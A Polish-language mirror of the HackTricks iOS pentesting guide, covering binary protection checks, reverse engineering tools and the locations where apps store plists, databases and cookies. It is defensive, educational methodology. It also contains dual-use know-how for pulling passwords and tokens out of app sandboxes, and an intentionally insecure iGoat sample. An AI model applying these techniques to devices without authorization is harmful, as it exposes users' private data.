mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-29 22:43:11 +00:00
2281 lines
86 KiB
Markdown
2281 lines
86 KiB
Markdown
# iOS Pentesting
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||
Otrzymaj dostęp już dziś:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
## Podstawy iOS
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Środowisko testowe
|
||
|
||
Na tej stronie znajdziesz informacje na temat **symulatora iOS**, **emulatorów** i **jailbreakingu**:
|
||
|
||
{% content-ref url="ios-testing-environment.md" %}
|
||
[ios-testing-environment.md](ios-testing-environment.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Analiza początkowa
|
||
|
||
### Podstawowe operacje testowe iOS
|
||
|
||
Podczas testowania **zostanie zaproponowanych kilka operacji** (połączenie z urządzeniem, odczyt/zapis/przesyłanie/pobieranie plików, korzystanie z niektórych narzędzi...). Jeśli nie wiesz, jak wykonać którąś z tych czynności, **zacznij od przeczytania strony**:
|
||
|
||
{% content-ref url="basic-ios-testing-operations.md" %}
|
||
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="info" %}
|
||
Aby wykonać następujące kroki, **aplikacja powinna być zainstalowana** na urządzeniu, a **plik IPA** aplikacji powinien już zostać uzyskany.\
|
||
Przeczytaj stronę [Podstawowe operacje testowe iOS](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
|
||
{% endhint %}
|
||
|
||
### Podstawowa analiza statyczna
|
||
|
||
Zaleca się użycie narzędzia [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF), aby przeprowadzić automatyczną analizę statyczną pliku IPA.
|
||
|
||
Identyfikacja **zabezpieczeń obecnych w binarnym pliku**:
|
||
|
||
* **PIE (Position Independent Executable)**: Po włączeniu aplikacja ładowana jest pod losowy adres pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci.
|
||
|
||
```bash
|
||
otool -hv <app-binary> | grep PIE # Powinno zawierać flagę PIE
|
||
```
|
||
* **Stack Canaries**: W celu sprawdzenia integralności stosu przed wywołaniem funkcji umieszczana jest wartość „canary” na stosie, a następnie sprawdzana ponownie po zakończeniu funkcji.
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep stack_chk # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail
|
||
```
|
||
* **ARC (Automatic Reference Counting)**: W celu zapobiegania powszechnym błędom korupcji pamięci
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep objc_release # Powinno zawierać symbol _objc_release
|
||
```
|
||
* **Zaszyfrowany plik binarny**: Plik binarny powinien być zaszyfrowany
|
||
|
||
```bash
|
||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Wartość cryptid powinna wynosić 1
|
||
```
|
||
|
||
**Identyfikacja funkcji wrażliwych/niebezpiecznych**
|
||
|
||
* **Słabe algorytmy haszujące**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_CC_MD5"
|
||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||
|
||
# Na systemie Linux
|
||
grep -iER "_CC_MD5"
|
||
grep -iER "_CC_SHA1"
|
||
```
|
||
* **Niebezpieczne funkcje losowe**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_random"
|
||
otool -Iv <app> | grep -w "_srand"
|
||
otool -Iv <app> | grep -w "_rand"
|
||
|
||
# Na systemie Linux
|
||
grep -iER "_random"
|
||
grep -iER "_srand"
|
||
grep -iER "_rand"
|
||
```
|
||
* **Niebezpieczna funkcja „Malloc”**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_malloc"
|
||
|
||
# Na systemie Linux
|
||
grep -iER "_malloc"
|
||
```
|
||
* **Niebezpieczne i podatne na ataki funkcje**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_gets"
|
||
otool -Iv <app> | grep -w "_memcpy"
|
||
otool -Iv <app> | grep -w "_strncpy"
|
||
otool -Iv <app> | grep -w "_strlen"
|
||
otool -Iv <app> | grep -w "_vsnprintf"
|
||
otool -Iv <app> | grep -w "_sscanf"
|
||
otool -Iv <app> | grep -w "_strtok"
|
||
otool -Iv <app> | grep -w "_alloca"
|
||
otool -Iv <app> | grep -w "_sprintf"
|
||
otool -Iv <app> | grep -w "_printf"
|
||
otool -Iv <app> | grep -w "_vsprintf"
|
||
|
||
# Na systemie Linux
|
||
grep -R "_gets"
|
||
grep -iER "_memcpy"
|
||
grep -iER "_strncpy"
|
||
grep -iER "_strlen"
|
||
grep -iER "_vsnprintf"
|
||
grep -iER "_sscanf"
|
||
grep -iER "_strtok"
|
||
grep -iER "_alloca"
|
||
grep -iER "_sprintf"
|
||
grep -iER "_printf"
|
||
grep -iER "_vsprintf"
|
||
```
|
||
|
||
### Podstawowa analiza dynamiczna
|
||
|
||
Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał poruszać się po różnych widokach i wchodzić w interakcję z nimi, ale narzędzie to będzie podłączać się do wielu klas i wykonywać inne czynności, a następnie przygotuje raport po zakończeniu.
|
||
|
||
### Wyświetlanie zainstalowanych aplikacji
|
||
|
||
Użyj polecenia `frida-ps -Uai`, aby określić **identyfikator pakietu** zainstalowanych aplikacji:
|
||
```bash
|
||
$ frida-ps -Uai
|
||
PID Name Identifier
|
||
---- ------------------- -----------------------------------------
|
||
6847 Calendar com.apple.mobilecal
|
||
6815 Mail com.apple.mobilemail
|
||
- App Store com.apple.AppStore
|
||
- Apple Store com.apple.store.Jolly
|
||
- Calculator com.apple.calculator
|
||
- Camera com.apple.camera
|
||
- iGoat-Swift OWASP.iGoat-Swift
|
||
```
|
||
### Podstawowe wyliczanie i hookowanie
|
||
|
||
Dowiedz się, jak **wyliczać składniki aplikacji** i jak łatwo **hookować metody i klasy** za pomocą narzędzia objection:
|
||
|
||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Struktura pliku IPA
|
||
|
||
Struktura pliku **IPA** jest w zasadzie strukturą **spakowanego archiwum**. Po zmianie rozszerzenia na `.zip`, można je **rozpakować**, aby zobaczyć jego zawartość. W tej strukturze **Bundle** reprezentuje w pełni spakowaną aplikację gotową do instalacji. Wewnątrz znajduje się katalog o nazwie `<NAZWA>.app`, który zawiera zasoby aplikacji.
|
||
|
||
* **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
|
||
* **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniający integralność wszystkich plików w pakiecie.
|
||
* **`Assets.car`**: Skompresowane archiwum przechowujące pliki zasobów, takie jak ikony.
|
||
* **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą mieć postać plików `.dylib` lub `.framework`.
|
||
* **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne.
|
||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Służy do zapisywania trwałych danych aplikacji do użytku w trybie offline, do buforowania danych tymczasowych i dodawania funkcji cofania w aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odbija schemat w kontenerze CloudKit.
|
||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` to alternatywny sposób określania typu i kodów twórcy aplikacji lub pakietu.
|
||
* **en.lproj, fr.proj, Base.lproj**: Są to pakiety językowe zawierające zasoby dla konkretnych języków oraz domyślne zasoby w przypadku braku obsługi danego języka.
|
||
* **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich dołączonych plików za pomocą podpisów cyfrowych.
|
||
* **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest istotne dla optymalizacji wydajności aplikacji i zmniejszenia jej rozmiaru.
|
||
* **Frameworks i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, pozwalając programistom na dołączanie wielokrotnego użytku bibliotek kodu (`Frameworks/`) i rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
|
||
* **Lokalizacja**: Struktura obsługuje wiele języków, ułatwiając globalne dotarcie aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
|
||
|
||
**Info.plist**
|
||
|
||
**Info.plist** pełni rolę podstawową dla aplikacji iOS, zawierając kluczowe dane konfiguracyjne w postaci par **klucz-wartość**. Ten plik jest niezbędny nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i bibliotek dołączonych. Może mieć strukturę XML lub format binarny i zawiera ważne informacje, od uprawnień aplikacji po konfiguracje zabezpieczeń. Aby dokładnie poznać dostępne klucze, można odwołać się do [**Dokumentacji dla deweloperów Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||
|
||
Dla osób, które chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję na format XML można łatwo osiągnąć za pomocą narzędzia `plutil` na macOS (dostępnego natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Poniżej przedstawiamy polecenia konwersji:
|
||
|
||
- **Dla macOS**:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
- **Dla systemu Linux**:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
Wśród licznych informacji, które plik **Info.plist** może ujawnić, warto wymienić ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla bezpieczeństwa transportu aplikacji (`NSAppTransportSecurity`). Te wpisy, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
|
||
```bash
|
||
$ grep -i <keyword> Info.plist
|
||
```
|
||
**Ścieżki danych**
|
||
|
||
W środowisku iOS istnieją specjalnie wyznaczone katalogi dla **aplikacji systemowych** i **aplikacji zainstalowanych przez użytkownika**. Aplikacje systemowe znajdują się w katalogu `/Applications`, podczas gdy aplikacje zainstalowane przez użytkownika są umieszczone w `/private/var/containers/`. Te aplikacje są przypisane do unikalnego identyfikatora o nazwie **128-bitowy UUID**, co utrudnia ręczne zlokalizowanie folderu aplikacji ze względu na losowość nazw katalogów.
|
||
|
||
Aby ułatwić odkrywanie katalogu instalacyjnego aplikacji zainstalowanej przez użytkownika, narzędzie **objection** udostępnia przydatne polecenie `env`. To polecenie ujawnia szczegółowe informacje o katalogu dla danej aplikacji. Poniżej znajduje się przykład użycia tego polecenia:
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||
|
||
Name Path
|
||
----------------- -------------------------------------------------------------------------------------------
|
||
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
|
||
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
|
||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||
```
|
||
Alternatywnie, nazwa aplikacji może być wyszukiwana w folderze `/private/var/containers` za pomocą polecenia `find`:
|
||
```bash
|
||
find /private/var/containers -name "Progname*"
|
||
```
|
||
Polecenia takie jak `ps` i `lsof` mogą również być wykorzystane do zidentyfikowania procesu aplikacji i wylistowania otwartych plików, odpowiednio, dostarczając informacji na temat aktywnych ścieżek katalogów aplikacji:
|
||
```bash
|
||
ps -ef | grep -i <app-name>
|
||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||
```
|
||
**Katalog pakietu:**
|
||
|
||
* **AppName.app**
|
||
* To jest pakiet aplikacji, który widzieliśmy wcześniej w pliku IPA. Zawiera on podstawowe dane aplikacji, statyczną zawartość oraz skompilowany plik binarny aplikacji.
|
||
* Ten katalog jest widoczny dla użytkowników, ale **użytkownicy nie mogą w nim zapisywać**.
|
||
* Zawartość tego katalogu **nie jest tworzona w kopii zapasowej**.
|
||
* Zawartość tego folderu jest używana do **weryfikacji podpisu kodu**.
|
||
|
||
**Katalog danych:**
|
||
|
||
* **Documents/**
|
||
* Zawiera wszystkie dane generowane przez użytkownika. Tworzenie tych danych inicjuje użytkownik końcowy aplikacji.
|
||
* Widoczne dla użytkowników i **użytkownicy mogą w nim zapisywać**.
|
||
* Zawartość tego katalogu jest **tworzona w kopii zapasowej**.
|
||
* Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/**
|
||
* Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **pamięć podręczna**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne plist.
|
||
* Aplikacje iOS zazwyczaj korzystają z podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć niestandardowe podkatalogi.
|
||
* **Library/Caches/**
|
||
* Zawiera **półtrwałe pliki podręczne**.
|
||
* Niewidoczne dla użytkowników i **użytkownicy nie mogą w nim zapisywać**.
|
||
* Zawartość tego katalogu **nie jest tworzona w kopii zapasowej**.
|
||
* System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona i brakuje miejsca na dysku.
|
||
* **Library/Application Support/**
|
||
* Zawiera **trwałe pliki** niezbędne do działania aplikacji.
|
||
* Niewidoczne dla użytkowników i użytkownicy nie mogą w nim zapisywać.
|
||
* Zawartość tego katalogu jest **tworzona w kopii zapasowej**.
|
||
* Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/Preferences/**
|
||
* Służy do przechowywania właściwości, które **mogą przetrwać nawet po ponownym uruchomieniu aplikacji**.
|
||
* Informacje są zapisywane w postaci niezaszyfrowanej wewnątrz piaskownicy aplikacji w pliku plist o nazwie \[BUNDLE\_ID].plist.
|
||
* Wszystkie pary klucz/wartość przechowywane za pomocą `NSUserDefaults` można znaleźć w tym pliku.
|
||
* **tmp/**
|
||
* Używaj tego katalogu do zapisywania **tymczasowych plików**, które nie muszą przetrwać między uruchomieniami aplikacji.
|
||
* Zawiera tymczasowe pliki podręczne.
|
||
* Niewidoczne dla użytkowników.
|
||
* Zawartość tego katalogu nie jest tworzona w kopii zapasowej.
|
||
* System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona i brakuje miejsca na dysku.
|
||
|
||
Przyjrzyjmy się bliżej katalogowi pakietu aplikacji iGoat-Swift (.app) w katalogu Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||
NSFileType Perms NSFileProtection ... Name
|
||
------------ ------- ------------------ ... --------------------------------------
|
||
Regular 420 None ... rutger.html
|
||
Regular 420 None ... mansi.html
|
||
Regular 420 None ... splash.html
|
||
Regular 420 None ... about.html
|
||
|
||
Regular 420 None ... LICENSE.txt
|
||
Regular 420 None ... Sentinel.txt
|
||
Regular 420 None ... README.txt
|
||
```
|
||
### Odwracanie binarne
|
||
|
||
Wewnątrz folderu `<nazwa-aplikacji>.app` znajdziesz plik binarny o nazwie `<nazwa-aplikacji>`. Jest to plik, który zostanie **wykonany**. Możesz przeprowadzić podstawową inspekcję binarną za pomocą narzędzia **`otool`**:
|
||
```bash
|
||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
|
||
|
||
otool -L DVIA-v2 #Get third party libraries
|
||
DVIA-v2:
|
||
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
|
||
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
|
||
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
|
||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||
[...]
|
||
```
|
||
**Sprawdź, czy aplikacja jest zaszyfrowana**
|
||
|
||
Sprawdź, czy istnieje jakiekolwiek wyjście dla:
|
||
```bash
|
||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||
```
|
||
**Rozkładanie binarnego pliku**
|
||
|
||
Rozkładanie sekcji tekstowej:
|
||
```bash
|
||
otool -tV DVIA-v2
|
||
DVIA-v2:
|
||
(__TEXT,__text) section
|
||
+[DDLog initialize]:
|
||
0000000100004ab8 sub sp, sp, #0x60
|
||
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
|
||
0000000100004ac0 add x29, sp, #0x50
|
||
0000000100004ac4 sub x8, x29, #0x10
|
||
0000000100004ac8 mov x9, #0x0
|
||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||
0000000100004ad0 add x10, x10, #0x268
|
||
```
|
||
Aby wydrukować **segment Objective-C** przykładowej aplikacji, można użyć:
|
||
```bash
|
||
otool -oV DVIA-v2
|
||
DVIA-v2:
|
||
Contents of (__DATA,__objc_classlist) section
|
||
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
|
||
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
|
||
superclass 0x0 _OBJC_CLASS_$_NSObject
|
||
cache 0x0 __objc_empty_cache
|
||
vtable 0x0
|
||
data 0x1003de748
|
||
flags 0x80
|
||
instanceStart 8
|
||
```
|
||
Aby uzyskać bardziej zwarty kod Objective-C, można użyć [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||
```bash
|
||
class-dump some-app
|
||
//
|
||
// Generated by class-dump 3.5 (64 bit).
|
||
//
|
||
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
|
||
//
|
||
|
||
#pragma mark Named Structures
|
||
|
||
struct CGPoint {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
|
||
struct CGRect {
|
||
struct CGPoint _field1;
|
||
struct CGSize _field2;
|
||
};
|
||
|
||
struct CGSize {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
```
|
||
Jednak najlepsze opcje do rozkładania binarnego to: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||
Otrzymaj dostęp już dziś:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Przechowywanie danych
|
||
|
||
Aby dowiedzieć się, jak iOS przechowuje dane w urządzeniu, przeczytaj tę stronę:
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="warning" %}
|
||
Następujące miejsca do przechowywania informacji powinny być sprawdzane **zaraz po zainstalowaniu aplikacji**, **po sprawdzeniu wszystkich funkcji** aplikacji, a nawet po **wylogowaniu się z jednego użytkownika i zalogowaniu się na innego**.\
|
||
Celem jest znalezienie **niechronionych wrażliwych informacji** aplikacji (hasła, tokeny), bieżącego użytkownika i wcześniej zalogowanych użytkowników.
|
||
{% endhint %}
|
||
|
||
### Plist
|
||
|
||
Pliki **plist** to strukturalne pliki XML, które **zawierają pary klucz-wartość**. Jest to sposób przechowywania danych trwałych, więc czasami można znaleźć wrażliwe informacje w tych plikach. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym jej użyciu, aby sprawdzić, czy zapisano nowe dane.
|
||
|
||
Najczęstszy sposób przechowywania danych w plikach plist to za pomocą **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/<appBundleID>.plist`**
|
||
|
||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można zobaczyć w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użytku z małymi ilościami danych.
|
||
|
||
Te dane nie mogą być bezpośrednio dostępne za pomocą zaufanego komputera, ale można do nich uzyskać dostęp wykonując **kopię zapasową**.
|
||
|
||
Możesz **wydobyć** zapisane informacje za pomocą **`NSUserDefaults`** przy użyciu polecenia `ios nsuserdefaults get` w narzędziu objection.
|
||
|
||
Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do `/private/var/mobile/Containers/Data/Application/{APPID}` i uruchomić:
|
||
```bash
|
||
find ./ -name "*.plist"
|
||
```
|
||
Aby przekonwertować pliki z formatu **XML lub binarnego (bplist)** na format XML, dostępne są różne metody w zależności od systemu operacyjnego:
|
||
|
||
**Dla użytkowników macOS:**
|
||
Wykorzystaj polecenie `plutil`. Jest to wbudowane narzędzie w macOS (10.2+), zaprojektowane w tym celu:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
**Dla użytkowników Linuxa:**
|
||
Najpierw zainstaluj `libplist-utils`, a następnie użyj `plistutil`, aby przekonwertować plik:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
**W trakcie sesji Objection:**
|
||
Do analizy aplikacji mobilnych istnieje specjalne polecenie, które umożliwia bezpośrednią konwersję plików plist:
|
||
```bash
|
||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||
```
|
||
### Core Data
|
||
|
||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale sam framework nie jest bazą danych.\
|
||
CoreData domyślnie nie szyfruje swoich danych. Jednak można dodać dodatkową warstwę szyfrowania do CoreData. Więcej szczegółów znajdziesz w [repozytorium GitHub](https://github.com/project-imas/encrypted-core-data).
|
||
|
||
Informacje o bazie danych SQLite Core Data aplikacji znajdziesz w ścieżce `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||
|
||
**Jeśli możesz otworzyć SQLite i uzyskać dostęp do wrażliwych informacji, oznacza to, że znalazłeś błędną konfigurację.**
|
||
|
||
{% code title="Kod z iGoat" %}
|
||
```objectivec
|
||
-(void)storeDetails {
|
||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||
|
||
NSManagedObjectContext *context =[appDelegate managedObjectContext];
|
||
|
||
User *user = [self fetchUser];
|
||
if (user) {
|
||
return;
|
||
}
|
||
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
|
||
inManagedObjectContext:context];
|
||
user.email = CoreDataEmail;
|
||
user.password = CoreDataPassword;
|
||
NSError *error;
|
||
if (![context save:&error]) {
|
||
NSLog(@"Error in saving data: %@", [error localizedDescription]);
|
||
|
||
}else{
|
||
NSLog(@"data stored in core data");
|
||
}
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
### YapDatabase
|
||
|
||
[YapDatabase](https://github.com/yapstudios/YapDatabase) to sklep kluczy/wartości zbudowany na bazie SQLite.\
|
||
Ponieważ bazy danych Yap są bazami danych SQLite, można je znaleźć, używając polecenia opisanego w poprzedniej sekcji.
|
||
|
||
### Inne bazy danych SQLite
|
||
|
||
Często aplikacje tworzą swoje własne bazy danych SQLite. Mogą w nich przechowywać **wrażliwe dane** i pozostawiać je niezaszyfrowane. Dlatego zawsze warto sprawdzić każdą bazę danych w katalogu aplikacji. Przejdź do katalogu aplikacji, w którym są przechowywane dane (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||
```bash
|
||
find ./ -name "*.sqlite" -or -name "*.db"
|
||
```
|
||
### Bazy danych Firebase Real-Time
|
||
|
||
Deweloperzy mają możliwość **przechowywania i synchronizacji danych** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Dane są przechowywane w formacie JSON i synchronizowane w czasie rzeczywistym do wszystkich podłączonych klientów.
|
||
|
||
Jak sprawdzić, czy bazy danych Firebase są źle skonfigurowane, można znaleźć tutaj:
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bazy danych Realm
|
||
|
||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, nieoferowaną przez Apple. Domyślnie dane są przechowywane w niezaszyfrowanej formie, a szyfrowanie jest dostępne poprzez odpowiednią konfigurację.
|
||
|
||
Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby przeglądać te pliki, można użyć poleceń takich jak:
|
||
```bash
|
||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||
|
||
$ find ./ -name "*.realm*"
|
||
```
|
||
Do przeglądania tych plików bazy danych zaleca się narzędzie [**Realm Studio**](https://github.com/realm/realm-studio).
|
||
|
||
Aby zaimplementować szyfrowanie w bazie danych Realm, można użyć następującego fragmentu kodu:
|
||
```swift
|
||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||
let config = Realm.Configuration(encryptionKey: getKey())
|
||
do {
|
||
let realm = try Realm(configuration: config)
|
||
// Use the Realm as normal
|
||
} catch let error as NSError {
|
||
// If the encryption key is wrong, `error` will say that it's an invalid database
|
||
fatalError("Error opening realm: \(error)")
|
||
}
|
||
```
|
||
### Bazy danych Couchbase Lite
|
||
|
||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) jest opisany jako **lekka** i **wbudowana** baza danych, która stosuje podejście **zorientowane na dokumenty** (NoSQL). Zaprojektowana z myślą o systemach **iOS** i **macOS**, oferuje możliwość synchronizacji danych w sposób bezproblemowy.
|
||
|
||
Aby zidentyfikować potencjalne bazy danych Couchbase na urządzeniu, należy sprawdzić następujący katalog:
|
||
```bash
|
||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||
```
|
||
### Ciasteczka
|
||
|
||
iOS przechowuje ciasteczka aplikacji w folderze **`Library/Cookies/cookies.binarycookies`** wewnątrz folderu każdej aplikacji. Jednakże, czasami deweloperzy decydują się zapisać je w **keychainie**, ponieważ wspomniany **plik z ciasteczkami może być dostępny w kopii zapasowej**.
